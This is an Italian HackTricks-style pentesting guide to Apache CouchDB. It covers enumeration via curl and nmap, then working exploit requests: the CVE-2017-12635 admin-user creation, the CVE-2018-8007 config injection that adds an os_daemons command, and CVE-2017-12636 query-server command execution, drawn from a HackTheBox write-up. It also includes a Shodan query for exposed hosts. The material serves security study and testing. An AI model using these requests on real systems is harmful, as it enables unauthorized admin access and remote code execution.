# 5984,6984 - Pentesting CouchDB
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
## **Informazioni di base**
**CouchDB** è un versatile e potente **database orientato ai documenti** che organizza i dati utilizzando una struttura **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, liste o mappe**, offrendo flessibilità nella memorizzazione e nel recupero dei dati.
Ogni **documento** memorizzato in CouchDB viene assegnato un **identificatore univoco** (`_id`) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database viene assegnata un **numero di revisione** (`_rev`). Questo numero di revisione consente un **tracciamento efficiente e una gestione delle modifiche**, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
**Porta predefinita:** 5984 (http), 6984 (https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumerazione Automatica**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
### Intestazione
La fase di enumerazione manuale inizia con l'acquisizione dell'intestazione del servizio CouchDB. L'intestazione contiene informazioni utili come la versione del software e altre informazioni di configurazione. Per ottenere l'intestazione, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB:
```bash
curl -I http://:5984
```
### Database Enumeration
La successiva fase di enumerazione manuale coinvolge l'individuazione dei database presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dalla directory `_all_dbs`:
```bash
curl -X GET http://:5984/_all_dbs
```
### Document Enumeration
Una volta individuati i database, è possibile enumerare i documenti presenti in ciascun database. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dal nome del database desiderato:
```bash
curl -X GET http://:5984/
```
### User Enumeration
Infine, è possibile enumerare gli utenti presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dalla directory `_users`:
```bash
curl -X GET http://:5984/_users
```
Durante l'enumerazione manuale, è importante prestare attenzione alle informazioni sensibili che possono essere ottenute, come nomi utente, password o altre informazioni di autenticazione.
```
curl http://IP:5984/
```
Questo invia una richiesta GET all'istanza di CouchDB installata. La risposta dovrebbe assomigliare a una delle seguenti:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Nota che se accedi alla root di CouchDB riceverai un `401 Unauthorized` con qualcosa del genere: `{"error":"unauthorized","reason":"Authentication required."}` **non sarai in grado di accedere** al banner o a qualsiasi altro endpoint.
{% endhint %}
### Enumerazione delle informazioni
Questi sono gli endpoint a cui puoi accedere con una richiesta **GET** ed estrarre alcune informazioni interessanti. Puoi trovare [**altri endpoint e descrizioni più dettagliate nella documentazione di CouchDB**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Elenco delle attività in esecuzione, inclusi il tipo di attività, il nome, lo stato e l'ID del processo.
* **`/_all_dbs`** Restituisce un elenco di tutti i database nell'istanza di CouchDB.
* **`/_cluster_setup`** Restituisce lo stato del nodo o del cluster, secondo la configurazione del cluster.
* **`/_db_updates`** Restituisce un elenco di tutti gli eventi del database nell'istanza di CouchDB. L'esistenza del database `_global_changes` è necessaria per utilizzare questo endpoint.
* **`/_membership`** Mostra i nodi che fanno parte del cluster come `cluster_nodes`. Il campo `all_nodes` mostra tutti i nodi conosciuti da questo nodo, inclusi quelli che fanno parte del cluster.
* **`/_scheduler/jobs`** Elenco dei lavori di replica. Ogni descrizione del lavoro includerà informazioni sulla sorgente e sul target, l'ID della replica, un elenco degli eventi recenti e altre informazioni.
* **`/_scheduler/docs`** Elenco degli stati dei documenti di replica. Include informazioni su tutti i documenti, anche negli stati `completed` e `failed`. Per ogni documento restituisce l'ID del documento, il database, l'ID della replica, la sorgente e il target, e altre informazioni.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** L'endpoint `/_node/{node-name}` può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a `/_node/_local` per recuperare queste informazioni.
* **`/_node/{node-name}/_stats`** La risorsa `_stats` restituisce un oggetto JSON contenente le statistiche del server in esecuzione. La stringa letterale `_local` funge da alias per il nome del nodo locale, quindi per tutte le URL delle statistiche, `{node-name}` può essere sostituito con `_local`, per interagire con le statistiche del nodo locale.
* **`/_node/{node-name}/_system`** La risorsa `_system` restituisce un oggetto JSON contenente varie statistiche di livello di sistema per il server in esecuzione. Puoi utilizzare `_local` come `{node-name}` per ottenere le informazioni sul nodo corrente.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) è `true` o `nolb`, l'endpoint restituirà una risposta 404.
* **`/_uuids`** Richiede uno o più Identificatori Unici Universali (UUID) dall'istanza di CouchDB.
* **`/_reshard`** Restituisce il conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato del ridimensionamento del cluster.
Altre informazioni interessanti possono essere estratte come spiegato qui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Elenco dei database**
```
curl -X GET http://IP:5984/_all_dbs
```
Se la richiesta risponde con un **401 non autorizzato**, allora hai bisogno di delle **credenziali valide** per accedere al database:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Per trovare credenziali valide potresti **provare a** [**forzare il servizio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Questo è un **esempio** di una **risposta** di couchdb quando hai **privilegi sufficienti** per elencare i database (È solo un elenco di dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informazioni sul database
È possibile ottenere alcune informazioni sul database (come il numero di file e le dimensioni) accedendo al nome del database:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Elenco dei documenti**
Elencare ogni voce all'interno di un database
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Leggi Documento**
Leggi il contenuto di un documento all'interno di un database:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalazione dei privilegi di CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, è possibile **creare un utente amministratore** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Ulteriori informazioni su questa vulnerabilità qui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Panoramica sulla sicurezza dei cookie Erlang**
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Nella documentazione di CouchDB, nello specifico nella sezione riguardante la configurazione del cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), viene discusso l'utilizzo delle porte da parte di CouchDB in modalità cluster. Viene menzionato che, come nella modalità standalone, viene utilizzata la porta `5984`. Inoltre, la porta `5986` è destinata alle API locali del nodo e, in modo importante, Erlang richiede la porta TCP `4369` per il demone del mappatore delle porte Erlang (EPMD), che facilita la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è collegato a ogni altro nodo.
Viene evidenziato un importante avviso di sicurezza riguardante la porta `4369`. Se questa porta è resa accessibile su Internet o su una rete non attendibile, la sicurezza del sistema dipende fortemente da un identificatore univoco noto come "cookie". Questo cookie funge da protezione. Ad esempio, in un elenco di processi, potrebbe essere osservato un cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Per coloro interessati a capire come questo "cookie" possa essere sfruttato per l'esecuzione remota di codice (RCE) nel contesto dei sistemi Erlang, è disponibile una sezione dedicata per ulteriori approfondimenti. Essa dettaglia le metodologie per sfruttare i cookie Erlang in modo non autorizzato al fine di ottenere il controllo sui sistemi. Puoi **[esplorare la guida dettagliata sull'abuso dei cookie Erlang per RCE qui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Sfruttare CVE-2018-8007 tramite la modifica di local.ini**
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
È stata esplorata una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB, rivelando che lo sfruttamento richiede le autorizzazioni di scrittura per il file `local.ini`. Sebbene non sia direttamente applicabile al sistema di destinazione iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere l'accesso in scrittura al file `local.ini` a scopo esplorativo. Sono forniti di seguito passaggi dettagliati ed esempi di codice, che illustrano il processo.
Innanzitutto, l'ambiente viene preparato assicurandosi che il file `local.ini` sia scrivibile, verificando i permessi tramite la lista:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Per sfruttare la vulnerabilità, viene eseguito un comando curl, mirando alla configurazione `cors/origins` in `local.ini`. Questo inietta un nuovo origin insieme a comandi aggiuntivi nella sezione `[os_daemons]`, al fine di eseguire codice arbitrario:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
La verifica successiva mostra la configurazione iniettata in `local.ini`, confrontandola con un backup per evidenziare le modifiche:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inizialmente, il file previsto (`/tmp/0xdf`) non esiste, indicando che il comando iniettato non è ancora stato eseguito. Ulteriori indagini rivelano che sono in esecuzione processi correlati a CouchDB, incluso uno che potrebbe potenzialmente eseguire il comando iniettato:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Terminando il processo CouchDB identificato e consentendo al sistema di riavviarlo automaticamente, viene attivata l'esecuzione del comando iniettato, confermata dall'esistenza del file precedentemente mancante:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in specifiche condizioni, in particolare la necessità di avere accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Esplorazione di CVE-2017-12636 con permessi di scrittura su local.ini**
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene specifiche configurazioni possano impedirne lo sfruttamento. Nonostante siano disponibili numerosi riferimenti di Proof of Concept (POC) online, sono necessari alcuni aggiustamenti per sfruttare la vulnerabilità nella versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query attesi.
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Per adattarsi alla versione 2.0 di CouchDB, viene utilizzato un nuovo percorso:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
I tentativi di aggiungere e invocare un nuovo server di query sono stati bloccati da errori legati ai permessi, come indicato dall'output seguente:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Ulteriori indagini hanno rivelato problemi di autorizzazione con il file `local.ini`, che non era scrivibile. Modificando i permessi del file con accesso root o homer, è stato possibile procedere:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
I successivi tentativi di aggiungere il server di query sono riusciti, come dimostrato dall'assenza di messaggi di errore nella risposta. La modifica riuscita del file `local.ini` è stata confermata tramite confronto dei file:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Il processo è proseguito con la creazione di un database e di un documento, seguito da un tentativo di eseguire del codice tramite una vista personalizzata mappata al nuovo server di query aggiunto:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Un **[riassunto](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo fornisce ulteriori informazioni sull'exploit di CVE-2017-12636 in specifiche condizioni. **Risorse utili** per sfruttare questa vulnerabilità includono:
- [Codice di exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Voce nel database degli exploit](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Riferimenti
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.